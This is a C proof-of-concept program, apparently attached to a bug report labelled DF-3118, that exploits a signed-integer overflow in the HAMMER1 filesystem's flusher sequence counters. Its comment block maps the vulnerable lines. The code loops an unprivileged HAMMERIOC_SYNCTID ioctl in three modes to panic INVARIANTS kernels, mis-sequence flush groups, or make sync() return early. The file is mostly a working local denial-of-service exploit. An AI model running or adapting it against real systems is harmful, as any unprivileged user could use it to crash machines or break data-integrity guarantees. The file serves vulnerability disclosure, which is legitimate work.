/*
 * DF-3118 PoC - HAMMER1 flusher signed-int sequence counter overflow.
 *
 * hammer.h:  int flusher.signal/done/next  (32-bit signed)
 * hammer_flusher.c:166   while (seq - hmp->flusher.done > 0) tsleep(...)
 * hammer_flusher.c:356   KKASSERT(flg->seq - seq > 0 || hmp->ronly >= 2)
 * hammer_flusher.c:448   if (resv->flg_no - seq > 0) break;   (delay_list)
 * hammer_blockmap.c:730  resv->flg_no = hmp->flusher.next + 1
 *
 * HAMMERIOC_SYNCTID (ASYNC) is unprivileged (hammer_ioctl.c:117 overwrites
 * the caps_priv_check error) and hammer_flusher_async() bumps
 * hmp->flusher.next once per call with no waiting when no flush groups
 * are pending (hammer_flusher.c:114-122).
 *
 * This program:
 *   mode "burn"  : tight loop of HAMMERIOC_SYNCTID/ASYNC on argv[1].
 *                  Each call allocates one dummy flusher sequence number.
 *                  Run several in parallel so the frontend out-allocates
 *                  the master flusher thread; the ring distance
 *                  (next - done) grows until it exceeds 2^31.
 *   mode "group" : loop { write a byte to a file; HAMMERIOC_SYNCTID/ASYNC }
 *                  keeps creating+closing real flush groups.  The moment a
 *                  group's seq is >= 2^31 ahead of the master's done, the
 *                  master's next cycle hits
 *                      KKASSERT(flg->seq - seq > 0)
 *                  which, with the wrapping-sub codegen (objdump: sub/test/jle),
 *                  evaluates false  ->  kernel panic on INVARIANTS kernels,
 *                  silently mis-sequenced flush groups otherwise.
 *   mode "sync"  : loop HAMMERIOC_SYNCTID/SYNC1 - demonstrates the
 *                  completion-wait early-return (sync() returning while the
 *                  flusher is still >= 2^31 sequence numbers behind).
 *
 * unprivileged; needs only a readable fd on a file on a HAMPER1 mount.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <time.h>
#include "vfs/hammer/hammer_ioctl.h"

int
main(int argc, char **argv)
{
	struct hammer_ioc_synctid st;
	const char *mode;
	char path[512];
	int64_t n = 0;
	int fd;
	time_t t0, t1;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <burn|group|sync> <file-on-hammer1> [iters]\n",
		    argv[0]);
		exit(1);
	}
	mode = argv[1];
	snprintf(path, sizeof(path), "%s", argv[2]);

	fd = open(path, O_RDWR);
	if (fd < 0) {
		perror("open");
		exit(1);
	}

	time(&t0);
	for (;;) {
		bzero(&st, sizeof(st));
		if (strcmp(mode, "sync") == 0)
			st.op = HAMMER_SYNCTID_SYNC1;
		else
			st.op = HAMMER_SYNCTID_ASYNC;

		if (ioctl(fd, HAMMERIOC_SYNCTID, &st) != 0) {
			perror("ioctl");
			exit(1);
		}
		if (strcmp(mode, "group") == 0) {
			if (write(fd, "x", 1) != 1) {
				perror("write");
				exit(1);
			}
		}
		++n;
		if ((n & 0xFFFFF) == 0) {
			time(&t1);
			fprintf(stderr, "%s[%d] %lld ops in %llds (%.0f ops/s)\n",
			    mode, (int)getpid(), (long long)n,
			    (long long)(t1 - t0),
			    n / (double)(t1 - t0 ? t1 - t0 : 1));
		}
	}
	/* NOTREACHED */
	return (0);
}
